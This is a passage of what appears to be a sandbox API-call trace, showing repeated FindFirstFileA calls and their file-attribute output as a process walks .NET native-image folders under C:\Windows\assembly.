ftLastAccessTime.dwLowDateTime=0xf5a6060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5a6060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.945] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.A3ec156ec#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe65cd50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf5a6060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5a6060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.951] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.A3ec156ec#\\8657e5ad81c0a6e2866918d9af6fda8e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe65cd50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf5cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.957] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B22c61a69#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcf4d830, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf5cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.962] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B22c61a69#\\d63e5d9773b469d0deff310ac265cce6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcf4d830, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf5cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.968] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B3325a29b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061bf60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf5f2320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5f2320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.973] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B3325a29b#\\40dd814b4ff686aebcefab30a26c12ff\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb072ab00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf5f2320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf5f2320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.980] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B83e9cb53#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229846a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf618480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf618480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.986] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B83e9cb53#\\4c91b382d9bd43445d253d4e2931a633\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb05157c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf618480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf618480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.992] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Baa2ca56b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23734520, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf618480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf618480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.000] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Baa2ca56b#\\3e13077dafd18ba5c345617b4a7ebeba\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb129f4e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf63e5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf63e5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.007] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Bfc9dc24d#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9c8cf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf63e5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf63e5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.013] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Bfc9dc24d#\\f656670f549d63f54bf4d79bd810dba0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea14fb0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf664740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf664740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.018] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Build\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc046d50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf664740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf664740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.023] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Build\\38b8551f7041485c08b99982f2e904f5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc046d50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf664740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf664740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.029] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c5fc40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf68a8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf68a8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.034] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\77dd0f7c5703c674f4de615fce9054d2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a51e00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xf68a8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf68a8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.040] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Ifcaec084#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc7910b0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf68a8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf68a8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Ifcaec084#\\bdf4e8b75861dbd91fcc42c354d45902\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc7910b0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf6b0a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf6b0a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.052] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.JScript\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc52c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf6b0a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf6b0a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.058] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.JScript\\621366b9acb7abb8b7f5d32b6951d0f4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc52c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xf6d6b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf6d6b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.065] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O2eb0cc9a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55be8b80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf6d6b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf6d6b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.072] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O2eb0cc9a#\\d1948e92181070d1b65159c29a0595a7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55be8b80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf6d6b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf6d6b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.089] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4161a3a3#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552170c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf722e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf722e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.094] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4161a3a3#\\42325dca8b0f21b31386391e373c0aba\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552170c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf722e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf722e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.100] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4a946565#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54f8f960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf722e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf722e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.105] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4a946565#\\14a8952bfcf998340d88fd0a583c2d15\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54f8f960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf748f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf748f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.111] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4b20f4dd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558ef000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf748f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf748f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.116] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4b20f4dd#\\0463f61b23adf46b129b05f0cdb02457\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558ef000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf748f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf748f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5263ae01#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55ab8080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf76f0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf76f0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.127] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5263ae01#\\30974de2a6e712219ee926a26decdf5f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55ab8080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf76f0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf76f0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.133] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5949707a#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53db5460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf76f0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf76f0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.141] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5949707a#\\b3286129b97dc39133f0224b1f47c4fa\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53db5460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf795240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf795240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.146] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O854200f9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545e4000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf795240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf795240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.151] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O854200f9#\\ce2e77f4da9307ecbb12fdbac1d3811e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545e4000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf7bb3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf7bb3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.156] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oab3f8ec6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562023e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf7bb3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf7bb3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.162] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oab3f8ec6#\\0334d589c30bf25fdcfad0f291c88cee\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562023e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf7bb3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf7bb3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.168] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oe2e369ff#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557be500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf7e1500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf7e1500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.178] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oe2e369ff#\\7ee98cd3bfeb8773170c4053aae95a2c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557be500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf7e1500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf7e1500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.194] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oeab01fba#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55e702e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf807660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf807660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.200] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oeab01fba#\\90005e35fac815eb03c5b6d1be6d99eb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55e702e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xf82d7c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf82d7c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, 